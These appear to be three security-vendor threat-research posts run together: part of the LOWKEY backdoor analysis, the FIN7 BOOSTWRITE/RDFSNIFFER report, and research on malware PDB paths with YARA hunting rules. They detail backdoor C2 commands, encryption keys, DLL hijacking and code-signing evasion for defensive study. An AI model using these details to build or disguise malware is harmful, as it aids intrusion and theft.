Table 7. Most commands expect a string at the beginning which likely
describes the command and is for the convenience of the operators, but
this string isn't actively used by the malware and could be anything.
For example, KILL <PID> could also be A <PID>. Some of the
commands rely on two payloads (UserFunction.dll and ProcTran.dll),
that are embedded in the backdoor and are either injected into another
process or launch another process.
UserFunction.dll
Userfunction.dll starts a hidden cmd.exe process, creates the named
pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00000} and
forwards all received data from the pipe to the standard input of
the cmd.exe process. All output from the process is redirected back to
the named pipe. This allows interaction with the shell over the named pipe.
ProcTran.dll
The component opens a TCP connection to the provided host and port,
creates the named pipe \\.\pipe\Microsoft Ole Object
{30000-7100-12985-00000-00001} and forwards all received data from the
pipe to the opened TCP connection. All received packets on the
connection are forwarded to the named pipe. This allows interaction
with the TCP connection over the named pipe.
Identifier
Arguments
Description
0xC8
<cmd> <arg1>
<arg2>
Provides
a simple shell, that supports the following commands, dir,
copy, move, del, systeminfo and cd. These match the
functionality of standard commands from a shell. This is the
only case where the <cmd> is actually used.
0xC9
<cmd> <arg1>
The argument is interpreted as a
process id (PID). The backdoor injects UserFunction.dll into
the process, which is an interactive shell that forwards all
input and output data to Microsoft Ole Object
{30000-7100-12985-00000-00000}. The backdoor will then forward
incoming data to the named pipe allowing for communication
with the opened shell. If no PID is provided, the `cmd.exe` is
launched as child process of the backdoor process with input
and output redirected to the named pipe Microsoft Ole Object
{30000-7100-12985-00001-00001}
0xCA
<cmd> <arg1> <arg2>
Writes data to a file. The
first argument is the <file_name>, the second argument
is an offset into the file
0xCB
<cmd> <arg1> <arg2>
<arg3>
Reads
data from a file. The first argument is the <file_name>,
the second argument is an offset into the file, the third
argument is optional, and the exact purpose is unknown
0xFA
-
Lists running processes, including the process
name, PID, process owner and the executable path
0xFB
<cmd> <arg1>
Kills the process with the provided
process id (PID)
0xFC
<cmd> <arg1> <arg2>
Copies the files
CreationTime, LastAccessTime and LastWriteTime from the second
argument and applies them to the first argument. Both
arguments are expected to be full file paths. The order of the
arguments is a bit unusual, as one would usually apply the
access times from the second argument to the third
0xFD
-
List
running processes with additional details like the SessonId
and the CommandLine by executing the WMI query SELECT
Name,ProcessId,SessionId,CommandLine,ExecutablePath FROM
Win32_Process
0xFE
-
Ping
command, the malware responds with the following byte sequence
00 00 00 00 00 65 00 00 00 00 00 00 06 00 00 00. Experiments
with the backdoor revealed that the identifier 0x65 seems to
indicate a successful operation, whereas 0x66 indicates an
error.
Table 6: C2 commands
The commands listed in Table 7 are used to provide functionality of
a TCP traffic relay. This allows operators to communicate through the
backdoor with another host via TCP. This could be used for lateral
movement in a network. For example, one instance of the backdoor could
be used as a jump host and additional hosts in the target network
could be reached via the TCP traffic relay. Note that the commands
0xD2, 0xD3 and 0xD6 listed in Table 7 can be used in the main backdoor
thread, without having to use the ProcTran.dll.
Identifier
Arguments
Description
0x105
<cmd> <arg1>
The argument is interpreted as a
process id (PID). The backdoor injects ProcTran.dll into the
process, which is a TCP traffic relay component that forwards
all input and output data to Microsoft Ole Object
{30000-7100-12985-00000-00001}. The commands 0xD2, 0xD3 and
0xD6 can then be used with the component.
0xD2
<arg1> <arg2>
Opens a connection to the provided
host and port, the first argument is the host, the second the
port. On success a header with the identifier set to 0xD4 is
returned (00 00 00 00 00 D4 00 00 00 00 00 00 00 00 00 00).
This effectively establishes a TCP traffic relay allowing
operators to communicate with another system through the
backdoored machine.
0xD3
<arg1>
Receives and sends data over the connection
opened by the 0xD2 command. Received data is first RC4
decrypted with the key “CreateThread“ and then single-byte XOR
decoded with 0x77. Data sent back is directly relayed without
any additional encryption.
0xD6
-
Closes the socket connection that had been
established by the 0xD2 command
0xCF
-
Closes the named pipe Microsoft Ole Object
{30000-7100-12985-00000-00001} that is used to communicate
with the injected ProcTran.dll. This seems to terminate the
thread in the targeted process by the 0x105 command
Table 7: C2 commands TCP relay
Summary
The TCP LOWKEY variant passively listens for the byte sequence FF FF
01 00 00 01 00 00 00 00 00 00 on TCP port 53 to be activated. The
backdoor then uses up to three named pipes for communication. One pipe
is used for the main communication of the backdoor, the other ones are
used on demand for the embedded payloads.
\\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001}
main communication pipe
\\.\pipe\Microsoft Ole Object
{30000-7100-12985-00000-00001} named pipe used for interaction with
the TCP relay module ProcTran.dll
\\.\pipe\Microsoft Ole
Object {30000-7100-12985-00000-00000} named pipe used for the
interactive shell module UserFunction.dll
Figure 8 summarizes how the LOWKEY components interact with each other.
Figure 8: LOWKEY passive backdoor overview
Appendix
MD5 HASH
Correct Volume Serial
Dropper Family
Final Payload Family
2b9244c526e2c2b6d40e79a8c3edb93c
0xde82ce06
DEADEYE.APPEND
POISONPLUG
04be89ff5d217796bc68678d2508a0d7
0x56a80cc8
DEADEYE.APPEND
POISONPLUG
092ae9ce61f6575344c424967bd79437
0x58b5ef5c
DEADEYE.APPEND
LOWKEY.HTTP
37e100dd8b2ad8b301b130c2bca3f1ea
0xc25cff4c
DEADEYE.APPEND
POISONPLUG
39fe65a46c03b930ccf0d552ed3c17b1
0x24773b24
DEADEYE.APPEND
POISONPLUG
5322816c2567198ad3dfc53d99567d6e
-
DEADEYE.DOWN
-
557ff68798c71652db8a85596a4bab72
0x4cebb6e9
DEADEYE.APPEND
POISONPLUG
64e09cf2894d6e5ac50207edff787ed7
0x64fd8753
DEADEYE.APPEND
POISONPLUG
650a3dce1380f9194361e0c7be9ffb97
0xeaa61f82
DEADEYE.APPEND
POISONPLUG
7dc6bbc202e039dd989e1e2a93d2ec2d
0xa8c5a006
DEADEYE.APPEND
LOWKEY
7f05d410dc0d1b0e7a3fcc6cdda7a2ff
0x9438158b
DEADEYE.APPEND
LOWKEY
904bbe5ac0d53e74a6cefb14ebd58c0b
0xde82ce06
DEADEYE.APPEND
POISONPLUG
c11dd805de683822bf4922aecb9bfef5
0xcab011e1
DEADEYE.APPEND
LOWKEY.HTTP
d49c186b1bfd7c9233e5815c2572eb98
0x4a23bd79
DEADEYE.APPEND
LOWKEY
e58d4072c56a5dd3cc5cf768b8f37e5e
0x243e2562
None - encrypted data
XMRIG
eb37c75369046fb1076450b3c34fb8ab
0x00e5a39e
DEADEYE.APPEND
LOWKEY
ee5b707249c562dc916b125e32950c8d
0xdecb3d5d
DEADEYE.APPEND
POISONPLUG
ff8d92dfbcda572ef97c142017eec658
0xde82ce06
DEADEYE.APPEND
POISONPLUG
ffd0f34739c1568797891b9961111464
0xde82ce06
DEADEYE.APPEND
POISONPLUG
Appendix 1: List of samples with RC5 encrypted payloads
During several recent incident response engagements, FireEye Mandiant
investigators uncovered new tools in FIN7’s malware arsenal and kept
pace as the
global criminal operators attempted new evasion techniques. In
this blog, we reveal two of FIN7’s new tools that we have called
BOOSTWRITE and RDFSNIFFER.
The first of FIN7's new tools is BOOSTWRITE – an in-memory-only
dropper that decrypts embedded payloads using an encryption key
retrieved from a remote server at runtime. FIN7 has been observed
making small changes to this malware family using multiple methods to
avoid traditional antivirus detection, including a BOOSTWRITE sample
where the dropper was signed by a valid Certificate Authority. One of
the analyzed BOOSTWRITE variants contained two payloads: CARBANAK and
RDFSNIFFER. While CARBANAK
has been thoroughly analyzed and has been used maliciously by
several financial attackers including FIN7, RDFSNIFFER is a
newly-identified tool recovered by Mandiant investigators.
RDFSNIFFER, a payload of BOOSTWRITE, appears to have been developed
to tamper with NCR Corporation's “Aloha Command Center” client. NCR
Aloha Command Center is a remote administration toolset designed to
manage and troubleshoot systems within payment card processing sectors
running the Command Center Agent. The malware loads into the same
process as the Command Center process by abusing the DLL load order of
the legitimate Aloha utility. Mandiant provided this information to NCR.
BOOSTWRITE Loader: Where You At?
BOOSTWRITE is a loader crafted to be launched via abuse of the DLL
search order of applications which load the legitimate ‘Dwrite.dll’
provided by the Microsoft DirectX Typography Services. The application
loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which
ultimately loads ‘Dwrite’. Mandiant identified instances where
BOOSTWRITE was placed on the file system alongside the RDFClient
binary to force the application to import DWriteCreateFactory from it
rather than the legitimate DWrite.dll.
Once loaded, `DWrite.dll` connects to a hard-coded IP and port from
which it retrieves a decryption key and initialization vector (IV) to
decrypt two embedded payload DLLs. To accomplish this task, the
malware first generates a random file name to be used as a text log
under the current user's %TEMP% directory; this filename starts with
~rdf and is followed by a set of random numbers. Next, the malware
scans its own image to find the location of a 32-byte long multi-XOR
key which is used to decode data inside its body. Part of the decoded
data is an IP address and port which are used to retrieve the key and
the IV for the decryption of the embedded payloads. The encryption
algorithm uses the ChaCha stream cipher with a 256-bit key and 64-bit IV.
Once the key and the IV are downloaded the malware decrypts the
embedded payloads and performs sanity checks on the results. The
payloads are expected to be PE32.DLLs which, if the tests pass, are
loaded into memory without touching the filesystem.
The malware logs various plaintext messages to the previously
created logfile %TEMP%\~rds<rnd_numbers> which are indicative of
the loader’s execution progress. An example of the file content is
shown in Figure 1:
Loading... Starting...
Init OK Key OK Data: 4606941 HS: 20
K:[32] V:[8] DCnt: 732642317(ERR)
Figure 1: BOOSTWRITE log file
Before exiting, the malware resolves the location of the benign
DWrite.dll library and passes the execution control to its
DWriteCreateFactory method.
The malware decrypts and loads two payload DLLs. One of the DLLs is
an instance of the CARBANAK backdoor; the other DLL is a tool tracked
by FireEye as RDFSNIFFER which allows an attacker to hijack instances
of the NCR Aloha Command Center Client application and interact with
victim systems via existing legitimate 2FA sessions.
RDFSNIFFER Module: We Smell a RAT
RDFSNIFFER is a module loaded by BOOSTWRITE which allows an attacker
to monitor and tamper with legitimate connections made via NCR
Corporation’s ‘Aloha Command Center Client’ (RDFClient), an
application designed to provide visibility and system management
capabilities to remote IT techs. RDFSNIFFER loads into the same
process as the legitimate RDFClient by abusing the utility’s DLL load
order, launching each time the ‘Aloha Command Center Client’ is
executed on an impacted system.
When the RDFSNIFFER module is loaded by BOOSTWRITE it hooks several
Win32 API functions intended to enable it to tamper with NCR Aloha
Command Center Client sessions or hijack elements of its
user-interface (Table 1). Furthermore, this enables the malware to
alter the user’s last input time to ensure application sessions do not
time out.
Win32 API Function
Hook Description
CertVerifyCertificateChainPolicy
Used to man-in-the-middle SSL sessions
CertGetCertificateChain
Used to man-in-the-middle SSL sessions
WSAConnect
Used to
man-in-the-middle socket connections
connect
Used to
man-in-the-middle socket connections
ConnectEx
Used to
man-in-the-middle socket connections
DispatchMessageW
Used to hijack the utility's UI
DispatchMessageA
Used to hijack the utility's UI
DefWindowProcW
Used to hijack the utility's UI
DefWindowProcA
Used to hijack the utility's UI
GetLastInputInfo
Used to change the user's last input time (to
avoid timed lock outs)
Table 1: RDFSNIFFER’s Hooked Win32 API Functions
This module also contains a backdoor component that enables it to
inject commands into an active RDFClient session. This backdoor allows
an attacker to upload, download, execute and/or delete arbitrary files
(Table 2).
Command Name
Legit Function in RDFClient
RDFClient Command ID
Description
Upload
FileMgrSendFile
107
Uploads a file to
the remote system
Download
FileMgrGetFile
108
Retrieves a file
from the remote system
Execute
RunCommand
3001
Executes a command on the remote
system
DeleteRemote
FileMgrDeleteFile
3019
Deletes file on
remote system
DeleteLocal
-
-
Deletes a
local file
Table 2: RDFSNIFFER’s Backdoor Functions
Signed: Yours Truly, FIN7
While the majority of BOOSTWRITE variants recovered from
investigations have been unsigned, Mandiant identified a signed
BOOSTWRITE sample used by FIN7 during a recent investigation.
Following that discovery, a signed BOOSTWRITE sample was
uploaded to VirusTotal on October 3. This executable uses a code
signing certificate issued by MANGO ENTERPRISE LIMITED (Table 3).
MD5
Organization
Country
Serial
a67d6e87283c34459b4660f19747a306
mango ENTERPRISE LIMITED
GB
32 7F 8F 10 74 78 42 4A BE B8 2A 85 DC 36 57
03 CC 82 70 5B
Table 3: Code signing certificate used for BOOSTWRITE
This indicates the operators may be actively altering this malware
to avoid traditional detection mechanisms. Notably, the signed
BOOSTWRITE sample had a 0/68 detection ratio when it was uploaded to
VirusTotal, demonstrating the effectiveness of this tactic (Figure 2).
Figure 2: Current VirusTotal detection
ratio for signed BOOSTWRITE
Use of a code signing certificate for BOOSTWRITE is not a completely
new technique for FIN7 as the group has used digital certificates in
the past to sign their phishing documents, backdoors, and later stage
tools. By exploiting the trust inherently provided by code
certificates, FIN7 increases their chances of bypassing various
security controls and successfully compromising victims. The full
evasion achieved against the detection engines deployed to VirusTotal
– as
compared to an unsigned BOOSTWRITE sample with an invalid
checksum– illustrates that FIN7’s methods were effective in
subverting both traditional detection and ML binary classification
engines. This is a known issue and has been deeply studied since at
least 2016’s
“Chains of Distrust” research and 2017’s
“Certified Malware” paper. Since there are plenty of goodware
samples with bad or no signatures – and a growing number of malware
samples with good signatures – there is no easy solution here. The
upside is that vendors selectively deploy engines to VirusTotal
(including FireEye) and VT detection performance often isn’t a
comprehensive representation of encountering full security technology
stacks that implement detection-in-depth. Later in this blog we
further explore BOOSTWRITE’s PE Authenticode signature, its anomalies,
and how code signing can be turned from a detection challenge into
detection opportunities.
Outlook and Implications
While these incidents have also included FIN7’s typical and
long-used toolsets, such as CARBANAK and BABYMETAL, the introduction
of new tools and techniques provides further evidence FIN7 is
continuing to evolve in response to security enhancements. Further,
the use of code signing in at least one case highlights the group's
judicious use of resources, potentially limiting their use of these
certificates to cases where they have been attempting to bypass
particular security controls. Barring any further law enforcement
actions, we expect at least a portion of the actors who comprise the
FIN7 criminal organization to continue conducting campaigns. As a
result, organizations need to remain vigilant and continue to monitor
for changes in methods employed by the FIN7 actors.
Sigs Up Dudes! Indicators, Toolmarks, and Detection Opportunities
While FireEye does not release our production detection logic for
the code families, this section does contain some identification and
hunting concepts that we adopt in our layered detection strategy.
Table 4 contains malware samples referenced in this blog that FireEye
is able to share from the larger set recovered during active investigations.
The signed BOOSTWRITE sample has a PE Authenticode anomaly that can
be detected using yara’s
PE signature module. Specifically, the PE linker timestamp is
prior to the Authenticode validity period, as seen in Table 5.
Timestamp
Description
2019-05-20 09:50:55 UTC
Signed BOOSTWRITE’s PE compilation time
2019-05-22 00:00 UTC through
2020-05-21 23:59 UTC
Signed
BOOSTWRITE’s “mango ENTERPRISE LIMITED” certificate validity
window
pe.number_of_signatures > 0 and
not for all i in (0..pe.number_of_signatures - 1):
pe.signatures[i].valid_on(pe.timestamp)
Figure 3: Excerpt of NCC Group’s research Yara rule
There are other PE Authenticode anomalies that can also be
represented as Yara rules to surface similarly suspicious files. Of
note, this signed BOOSTWRITE sample has no counter signature and,
while the unauthenticated attributes timestamp structure is present,
it is empty. In preparing this blog, FireEye’s Advanced Practices team
identified a possible issue with VirusTotal’s parsing of signed
executable timestamps as seen in Figure 4.
Figure 4: Inconsistency in VirusTotal
file signature timestamps for the signed BOOSTWRITE sample
FireEye filed a bug report with Google to address the discrepancy in
VirusTotal in order to remove confusion for other users.
To account for the detection weaknesses introduced by techniques
like code signing, our Advanced Practices team combines the malicious
confidence spectrum that comes from ML detection systems with file
oddities and anomalies (weak signals) to surface highly interesting
and evasive malware. This technique was recently described in our own
Dr.
Steven Miller’s Definitive Dossier of Devilish Debug Details. In
fact, the exact same program database (PDB) path-based approach from
his blog can be applied to the toolmarks seen in this sample for a
quick hunting rule. Figure 5 provides the PDB path of the BOOSTWRITE
samples from this blog.
F:\projects\DWriteImpl\Release\DWriteImpl.pdb
Figure 5: BOOSTWRITE PDB path
The Yara rule template can be applied to result in the quick rule in
Figure 6.
Figure 6: Applying BOOSTWRITE’s PDB path to a
Yara rule
We can apply this same concept across other executable traits, such
as BOOSTWRITE’s export DLL name (DWriteImpl.dll), to create quick and
easy rules that can aid in quick discovery as seen in Figure 7.
rule Exports_BOOSTWRITE
{ meta: author = "Steve Miller
(@stvemillertime) & Nick Carr (@itsreallynick)"
strings: $exyPants = "DWriteImpl.dll"
nocase condition: uint16(0) == 0x5A4D and
uint32(uint32(0x3C)) == 0x00004550 and $exyPants at
pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address)
+ 12)) and filesize < 6MB }
Figure 7: Applying BOOSTWRITE’s export DLL names
to a Yara rule (Note: this rule was updated following publication.
It previously read "module_ls.dll", which is for Turla and unrelated.)
Of course, resilient prevention capabilities are needed and to that
end, FireEye detects this activity across our platforms. Table 6
contains several specific detection names from a larger list of
detection capabilities that captured this activity natively.
Platform
Signature Name
Endpoint Security
MalwareGuard ML detection (unsigned
variants)
Network Security and Email Security
Malware.binary.dll (dynamic detection)
MalwareGuard ML detection (unsigned variants)
APTFIN.Dropper.Win.BOOSTWRITE (network traffic)
APTFIN.Backdoor.Win.RDFSNIFFER (network traffic)
FE_APTFIN_Dropper_Win_BOOSTWRITE (static code family
detection) FE_APTFIN_Backdoor_Win_RDFSNIFFER (static
code family detection)
Table 6: FireEye detection matrix
Don’t Sweat the Techniques – MITRE ATT&CK Mappings
RDFSNIFFER hooks several Win32 API functions
intended to enable it to tamper with NCR Aloha Command Center
Client sessions or hijack elements of its user-interface
RDFSNIFFER hooks several Win32 API functions
intended to enable it to tamper with NCR Aloha Command Center
Client sessions or hijack elements of its user-interface
Acknowledgements
The authors want to thank Steve Elovitz, Jeremy
Koppen, and the many Mandiant incident responders that go toe-to-toe
with FIN7 regularly, quietly evicting them from victim environments.
We appreciate the thorough detection engineering from Ayako Matsuda
and the reverse engineering from FLARE’s Dimiter Andonov, Christopher
Gardner and Tyler Dean.
A special thanks to FLARE’s Troy Ross for the development of his PE
Signature analysis service and for answering our follow-up questions.
Shout out to Steve
Miller for his hot fire research and Yara anomaly work. And
lastly, the rest of the Advanced Practices team for both the
unparalleled front-line FIN7 technical intelligence expertise and
MITRE ATT&CK automated mapping project – with a particular thanks
to Regina Elwell and Barry Vengerik.
Have you ever wondered what goes through the mind of a malware
author? How they build their tools? How they organize their
development projects? What kind of computers and software they use? We
took a stab and answering some of those questions by exploring malware
debug information.
We find that malware developers give descriptive names to their
folders and code projects, often describing the capabilities of the
malware in development. These descriptive names thus show up in a
PDB path when a malware project is compiled with symbol
debugging information. Everyone loves an origin story, and debugging
information gives us insight into the malware development environment,
a small, but important keyhole into where and how a piece of malware
was born. We can use our newfound insight to detect malicious activity
based in part on PDB paths and other debug details.
Welcome to part one of a multi-part, tweet-inspired
series about PDB paths, their relation to malware, and how they may be
useful in both defensive and offensive operations.
Human-Computer Conventions
Digital storage systems have revolutionized our world but in order
to make use of our stored data and retrieve it in an efficient manner,
we must organize it sensibly. Users structure directories carefully
and give files and folders unique and descriptive names. Often users
name folders and files based on their content. Computers force users
to label and annotate their data based on the data type, role, and
purpose. This human-computer convention means that most digital
content has some descriptive surface area, or descriptive “features”
that are present in many files, including malware files.
FireEye approaches detection and hunting from many angles, but on
FireEye’s Advanced Practices team, we often like to flex on “weak
signals.” We like to search for features of malware that are not evil
in isolation but uncommon or unique enough to be useful. We create
conditional rules that when met are “weak signals” telling us that a
subset of data, such as a file object or a process, has some odd or
novel features. These features are often incidental outcomes of
adversary methods, or modus operandi, that each represent deliberate
choices made by malware developers or intrusion operators. Not all
these features were meant to be in there, and they were certainly not
intended for defenders to notice. This is especially true for PDB
paths, which can be described as an outcome of the compilation
process, a toolmark left in malware that describes the development environment.
PDBs
A program database (PDB) file, often referred to as a “symbol file,”
is generated upon compilation to store debugging information about an
individual build of a program. A PDB may store symbols, addresses,
names of functions and resources and other information that may assist
with debugging the program to find the exact source of an exception or error.
Malware is software, and malware developers are software developers.
Like any software developers, malware authors often have to debug
their code and sometimes end up creating PDBs as part of their
development process. If they do not spend time debugging their
malware, they risk
their malware not functioning correctly on victim hosts, or not
being able to successfully communicate with their malware remotely.
How PDB Paths are Made (the birds and the PDBs?)
But how are PDBs created and connected to programs? Let’s examine
the formation of one PDB path through the eyes of a malware developer
and blogger, the soon-to-be-infamous “smiller.”
Smiller has a lot of programming projects and organizes them in an
aptly labeled folder structure on his computer. This project is for a
shellcode loader embedded in an HTML Application (HTA) file, and the
developer stores it quite logically in the folder:
D:\smiller\projects\super_evil_stuff\shellcode\
Figure 1: The simple “Test” project code
file “Program.cs” which embeds a piece of shellcode and a launcher
executable within an HTML Application (HTA) file
Figure 2: The malicious Visual Studio
solution HtaDotnet and corresponding “Test” project folder as seen
through Windows Explorer. The names of the folders and files are
suggestive of their functionalities
The malware author then compiles their “Test” project Visual Studio
in a default “Debug” configuration (Figure 3) and writes out Test.exe
and Test.pdb to a subfolder (Figure 4).
Figure 3: The Visual Studio output of a
default compiling configuration
Figure 4: Test.exe and Test.pdb are
written to a default subfolder of the code project folder
In the Test.pdb file (Figure 5) there are references to the original
path for the source code files along with other binary information for
use in debugging.
Figure 5: Test.pdb contains binary debug
information and references to the original source code files for use
in debugging
During the compilation, the linker
program associates the PDB file with the built executable by adding an
entry into the IMAGE_DEBUG_DIRECTORY
specifying the type of the debug information. In this case, the debug
type is CodeView and so the PDB path is embedded under
IMAGE_DEBUG_TYPE_CODEVIEW portion of the file. This enables a debugger
to locate the correct PDB file Test.pdb while debugging Test.exe.
Figure 6: Test.exe as shown in the PEview
utility, which easily parses out the PDB path from the
IMAGE_DEBUG_TYPE_CODEVIEW section of the executable file
PDB Path in CodeView Debug Information
CodeView Structure
The exact format of the debug information may vary depending on
compiler and linker and the modernity of one’s software development
tools. CodeView debug information is stored under IMAGE_DEBUG_TYPE_CODEVIEW
in the following structure:
Type
Description
DWORD
"RSDS" header
GUID
16-byte Globally Unique Identifier
DWORD
"age" (incrementing # of
revisions)
BYTE
PDB path, null terminated
Figure 7: Structure of CodeView debug directory information
Full Versus Partial PDB Path
There are generally two buckets of CodeView PDB paths, those that
are fully qualified directory paths and those that are
partially qualified, that specify the name of the PDB file
only. In both cases, the name of the PDB file with the .pdb extension
is included to ensure the debugger locates the correct PDB for the program.
A partially qualified PDB path would list only the PDB file
name, such as:
Test.pdb
A fully qualified PDB path usually begins with a volume drive
letter and a directory path to the PDB file name such as:
Typically, native Windows executables use a partially
qualified PDB path because many of the debug PDB files are
publicly available on the Microsoft
public symbol server, so the fully qualified path is unnecessary
in the symbol
path (the PDB path). For the purposes of this research, we will be
mostly looking at fully qualified PDB paths.
The naming makes perfect sense. The malware was intended to
masquerade as Asus Corporation software, and the role of the malware
was shellcode. The malware developer named the project after the
function and role of the malware itself.
If we accept that the nature of digital data forces developers into
these naming conventions, we figured that these conventions
would hold true across other threat actors, malware families, and
intrusion operations. FireEye’s Advanced Practices team loves to take
seemingly innocuous features of an intrusion set and determine what
about these things is good, bad and ugly. What is normal, and what is
abnormal? What is globally prevalent and what is rare? What are
malware authors doing that is different from what non-malware
developers are doing? What assumptions can we make and measure?
Letting our curiosity take the wheel, we adapted the CodeView debug
information structure into a regular expression (Figure 8) and
developed Yara rules (Figure 9) to survey our data sets. This helped
us identify commonalities and enabled us to see which threat actors
and malware families may be “detectable” based only on features within
PDB path strings.
Figure 8: A Perl-compatible regular
expression (PCRE) adaptation of the PDB7 debug information in an
executable to include a specific keyword
Figure 9: Template Yara rule to search
for executables with PDB files matching a keyword
PDB Path Showcase: Malware Naming Conventions
We surveyed 10+ million samples in our incident response and malware
corpus, and we found plenty of common PDB path keywords that seemed to
transcend different sources, victims, affected regions, impacted
industries, and actor motivations. To help articulate the broad reach
of malware developer commonalities, we detail a handful of the
stronger keywords along with example PDB paths, with represented
malware families and threat groups where at least one sample has the
applicable keyword.
Please note that the example paths and represented malware families
and groups are a selection from the total data set, and not
necessarily correlated, clustered or otherwise related to each other.
This is intended to illustrate the wide presence of PDB paths with
keywords and how malware developers, irrespective of origin, targets
and motivations often end up using some of the same words in their
naming. We believe that this commonality increases the surface area of
malware and introduces new opportunities for detection and hunting.
The keywords that are typically used to describe malware are strong
enough to raise red flags, but there are other common terms or
features in PDB paths that may signal that an executable is compiled
in a non-enterprise setting. For example, any PDB path containing
“Users” directory can tell you that the executable was likely compiled
on Windows Vista/7/10 and likely does not represent an “official” or
“commercial” development environment. The term “Users” is much weaker
or lower in fidelity than “shellcode” but as we demonstrate below,
these terms are indeed present in lots of malware and can be used for
weak detection signals.
Figure 11: A selection of common terms in PDB
paths with groups and malware families observed and examples
PDB Path Showcase: Exploring Anomalies
Outside of keywords and terms, we discovered on a few uncommon (to
us) features that may be interesting for future research and detection opportunities.
Non-ASCII Characters
PDB paths with any non-ASCII characters have a high ratio of malware
to non-malware in our datasets. The strength of this signal is only
because of a data bias in our malware corpus and in our client base.
However, if this data bias is consistent, we can use the presence of
non-ASCII characters in a PDB path as a signal that an executable
merits further scrutiny. In organizations that operate primarily in
the world of ASCII, we imagine this will be a strong signal. Below we
express logic for this technique in Yara:
Each compiled program should only have one PDB path. The presence of
multiple PDB paths in a single object indicates that the object has
subfile executables, from which you may infer that the parent object
has the capability to “drop” or “install” other files. While being a
dropper or installer is not malicious on its own, having an
alternative method of applying those classifications to file objects
may be of assistance in surfacing malicious activity. In this example,
we can also search for this capability using Yara:
When a file is compiled the entry for the debug information is in
the IMAGE_DEBUG_DIRECTORY. Similar to seeing multiple PDB paths in a
single file, when we see debug information inside an executable that
does not have a debug directory, we can infer that the file has
subfile executables, and is likely has dropper or installer
functionality. In this rule, we use Yara’s
convenient PE module to check the relative virtual address (RVA)
of the IMAGE_DIRECTORY_ENTRY_DEBUG entry, and if it is zero we can
presume that there is no debug entry and thus the presence of a
CodeView PDB path indicates that there is a subfile.
rule ConventionEngine_Anomaly_OutsideOfDebug
{ meta: author =
"@stvemillertime" description =
"Searching for PE files with PDB path keywords, terms or
anomalies." strings: $anchor =
"RSDS" $pcre =
/RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/
condition: (uint16(0) == 0x5A4D) and
uint32(uint32(0x3C)) == 0x00004550 and $anchor and $pcre and
pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_DEBUG].virtual_address
== 0 }
Nulled Out PDB Paths
In the typical CodeView section, we would see the “RSDS” header, the
16-byte GUID, a 4-byte “age” and then a PDB path string. However,
we’ve identified a significant number of malware samples where the
embedded PDB path area is nulled out. In this example, we can easily
see the CodeView debug structure, complete with header, GUID and age,
followed by nulls to the end of the segment.
There are a few possibilities of how and why a CodeView PDB path may
be nulled out, but in the case of intentional tampering, for the
purposes of removing toolmarks, the easiest way would be to manually
overwrite the PDB path with \x00s. The risk of manual editing and
overwriting via hex editor is that doing so is laborious and may
introduce other static anomalies such as checksum errors.
The next easiest way is to use a utility designed to wipe out debug
artifacts from executables. One stellar example of this is “peupdate”
which is designed not only to strip or fabricate the PDB path
information, but can also recalculate the checksum, and eliminate Rich
headers. Below we demonstrate use of peupdate to clear the PDB path.
Figure 12: Using peupdate to clear the
PDB path information from a sample of malware
Figure 13: The peupdate tampered malware
as shown in the PEview utility. We see the CodeView section is still
present but the PDB path value has been cleared out
Figure 14: A selection of anomalies in PDB paths
with groups and malware families observed and examples
PDB Path Showcase: Outliers, Oddities, Exceptions and Other Shenanigans
The internet is a weird place, and at a big enough scale, you end up
seeing things that you never thought you would. Things that deviate
from the norms, things that shirk the standards, things that utterly
defy explanation. We expect PDB paths to look a certain way, but we’ve
run across several samples that did not, and we’re not always sure
why. Many of these samples below may be results of errors, corruption,
obfuscation, or various forms of intentional manipulation. We’re
demonstrating them here to show that if you are attempting PDB path
parsing or detection, you need to understand the variety of paths in
the wild and prepare for shenanigans galore. Each of these examples
are from confirmed malware samples.
We haven’t seen this yet, but
it’s only a matter of time until you can have an emoji
as a drive letter.
Figure 15: A selection of PDB paths shenanigans
with examples
Betwixt Nerf Herders and Elite Operators
There are many differences between apex threat actors and the rest,
even if all successfully perform intrusion operations. Groups that
exercise good OPSEC in some campaigns may have bad OPSEC in others.
APT36 has hundreds of leaked PDB paths, whereas APT30 has a minimal
PDB path footprint, while APT38 is a ghost.
When PDB paths are present, the types of keywords, terms, and other
string items present in PDB paths are all on a spectrum of
professionalism and sophistication. On one end we’re seeing “njRAT-FUD 0.3” and “1337
h4ckbot” and on the other end we’re seeing “minidionis” and “msrstd”.
The trendy critique of string-based detection goes something like
“advanced adversaries would never act so carelessly; they’ll
obfuscate and evade your naïve and brittle signatures.” In the tables
above for PDB path keywords, terms and anomalies, we think we’ve shown
that bona fide APT/FIN groups, state-sponsored adversaries, and the
best-of-the-best attackers do sometimes slip up and give us an
opportunity for detection.
Let’s call out some specific examples from boutique malware from
some of the more advanced threat groups.
Equation Group
Some Equation Group samples show full PDB paths that indicate that
some of the malware was compiled in debug mode on workstations or
virtual machines used for development.
Other Equation Group samples have partially qualified PDB paths that
represent something less obvious. These standalone PDB names may
reflect a more tailored, multi-developer environment, where it
wouldn’t make sense to specify a fully qualified PDB path for a single
developer system. Instead, the linker
is instructed to write only the PDB file name in the built
executable. Still, these PDB paths are unique to their malware samples:
tdip.pdb
volrec.pdb
msrstd.pdb
Regin
Deeming a piece of malware a “backdoor” is increasingly passé.
Calling a piece of malware an “implant” is the new hotness, and the
general public may be adopting this nouveau nomenclature long after
purported Western governments. In this component of the Regin
platform, we see a developer that was way ahead of the curve:
Let’s not forget APT29, whose brazen
worldwide intrusion sprees often involve pieces of creative, elaborate,
and stealthy
malware. APT29 is amongst the better groups at staying quiet, but in
thousands of pieces of malware, these normally disciplined operators
did leak a few PDB paths such as:
Even when the premier outfits don’t use the glaring keywords, there
may still be some string terms, anomalies and unique values
present in PDB paths that each represent an opportunity for detection.
ConventionEngine
We extract and index all PDB paths from all executables so we can
easily search and spelunk through our data. But not everyone has it
that easy, so we cranked out a quick collection of nearly 100 Yara
rules for PDB path keywords, terms and anomalies that we believe
researchers and analysts can use to detect evil. We named this
collection of rules “ConventionEngine” after the industry jokes that
security vendors like to talk about their elite detection “engines,”
but behind the green curtain they’re all just a code spaghetti mess of
scripts and signatures, which this absolutely started as.
Instead of tight production “signatures,” you can think of these as
“weak signals” or “discovery rules” that are meant to build haystacks
